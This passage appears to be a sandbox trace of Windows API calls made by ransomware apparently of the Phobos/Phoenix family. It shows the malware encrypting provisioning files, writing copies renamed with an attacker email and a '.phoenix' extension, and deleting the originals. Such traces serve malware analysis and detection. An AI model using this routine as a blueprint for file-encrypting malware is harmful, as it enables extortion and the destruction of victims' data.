	[0245.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.409] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.409] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.409] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.409] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.409] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0245.409] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.409] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x357, lpOverlapped=0x0) returned 1
	[0245.475] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0245.475] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0245.477] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0245.477] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.477] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0245.477] CryptDestroyKey (hKey=0x151440) returned 1
	[0245.477] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0245.477] CryptDestroyKey (hKey=0x151500) returned 1
	[0245.477] CloseHandle (hObject=0x2d4) returned 1
	[0245.477] CloseHandle (hObject=0x2e8) returned 1
	[0245.477] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\273__connections_cellular_crnogorski telekom (montenegro)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.478] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0245.478] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.479] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=707) returned 1
	[0245.479] CloseHandle (hObject=0x2e8) returned 1
	[0245.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.479] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.479] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.479] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.479] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.480] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0245.480] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.480] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0245.819] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0245.819] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0245.820] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0245.820] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.820] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0245.820] CryptDestroyKey (hKey=0x151180) returned 1
	[0245.820] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0245.820] CryptDestroyKey (hKey=0x151640) returned 1
	[0245.820] CloseHandle (hObject=0x2e8) returned 1
	[0245.820] CloseHandle (hObject=0x2d4) returned 1
	[0245.821] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\274__connections_cellular_maroc telecom (morocco)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0245.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.822] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=732) returned 1
	[0245.822] CloseHandle (hObject=0x2d4) returned 1
	[0245.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml")) returned 0x20
	[0245.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0245.822] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.822] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0245.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0245.823] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0245.823] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0245.823] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2dc, lpOverlapped=0x0) returned 1
	[0246.406] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0246.406] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0246.407] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0246.407] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.407] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0246.407] CryptDestroyKey (hKey=0x151440) returned 1
	[0246.407] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0246.407] CryptDestroyKey (hKey=0x151640) returned 1
	[0246.407] CloseHandle (hObject=0x2d4) returned 1
	[0246.407] CloseHandle (hObject=0x2e8) returned 1
	[0246.407] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\278__connections_cellular_kpn-hi (netherlands)_i10$(__mvid)@wap.provxml")) returned 1
	[0246.408] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0246.408] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.501] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=736) returned 1
	[0246.501] CloseHandle (hObject=0x2d8) returned 1
	[0246.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml")) returned 0x20
	[0246.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0246.502] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.502] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0246.503] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0246.503] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.503] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2e0, lpOverlapped=0x0) returned 1
	[0246.604] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0) returned 1
	[0246.604] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2f0, lpOverlapped=0x0) returned 1
	[0246.605] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0246.605] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0246.605] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0246.605] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0246.605] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0246.605] CryptDestroyKey (hKey=0x151280) returned 1
	[0246.605] CloseHandle (hObject=0x2d8) returned 1
	[0246.605] CloseHandle (hObject=0x2e8) returned 1
	[0246.605] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\279__connections_cellular_kpn-hi (netherlands)_i11$(__mvid)@wap.provxml")) returned 1
	[0246.606] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0246.606] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0246.606] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0246.606] CloseHandle (hObject=0x2e8) returned 1
	[0246.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml")) returned 0x20
	[0246.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.607] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0246.607] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0246.607] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
